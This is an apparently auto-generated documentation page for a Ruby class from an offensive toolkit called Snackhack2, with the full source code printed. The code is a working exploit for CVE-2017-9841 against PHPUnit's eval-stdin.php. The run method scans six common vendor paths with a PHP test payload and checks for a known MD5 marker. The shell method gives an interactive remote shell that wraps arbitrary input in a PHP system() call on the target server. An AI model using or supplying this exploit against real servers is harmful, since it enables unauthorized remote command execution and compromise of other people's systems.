Class: Snackhack2::CVE20179841
- Inherits:
-
Object
- Object
- Snackhack2::CVE20179841
- Defined in:
- lib/snackhack2/CVE-2017-9841.rb
Instance Attribute Summary collapse
-
#ip ⇒ Object
Returns the value of attribute ip.
Instance Method Summary collapse
-
#initialize(site, payload: "<?php echo md5('phpunit_rce'); ?>") ⇒ CVE20179841
constructor
A new instance of CVE20179841.
- #run ⇒ Object
- #shell ⇒ Object
Constructor Details
#initialize(site, payload: "<?php echo md5('phpunit_rce'); ?>") ⇒ CVE20179841
Returns a new instance of CVE20179841.
8 9 10 11 12 |
# File 'lib/snackhack2/CVE-2017-9841.rb', line 8 def initialize(site, payload: "<?php echo md5('phpunit_rce'); ?>") @site = site @payload = payload @vulnerable = false end |
Instance Attribute Details
#ip ⇒ Object
Returns the value of attribute ip.
6 7 8 |
# File 'lib/snackhack2/CVE-2017-9841.rb', line 6 def ip @ip end |
Instance Method Details
#run ⇒ Object
14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 |
# File 'lib/snackhack2/CVE-2017-9841.rb', line 14 def run paths = ["yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php", "vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php", "laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php", "laravel52/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php", "lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php", "zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] paths.each do |path| uri = URI.parse(File.join(@site, path)) request = Net::HTTP::Post.new(uri) request.body = "#{@payload}" = { use_ssl: uri.scheme == "https", } response = Net::HTTP.start(uri.hostname, uri.port, ) do |http| http.request(request) end # this is the MD5 Hhash of "phpunit_rce" if response.body.match("6dd70f16549456495373a337e6708865") @vulnerable = true puts "THIS SITE IS vulnerable!" return path else puts "The site is not vulnerable.... #{File.join(@site, path)}" end end end |
#shell ⇒ Object
45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 |
# File 'lib/snackhack2/CVE-2017-9841.rb', line 45 def shell # if vulnerable it passes the path path = self.run # makes sure the site is vulnerable if it # is it will run a endless while loop if @vulnerable while true # takes input to run on the server print(">") input = gets.chomp if input.eql?("exit") exit else uri = URI.parse(File.join(@site, path)) request = Net::HTTP::Post.new(uri) # takes the input ad run it on the host request.body = "<?php system('#{input}'); ?>" = { use_ssl: uri.scheme == "https", } response = Net::HTTP.start(uri.hostname, uri.port, ) do |http| http.request(request) end puts response.body end end end end |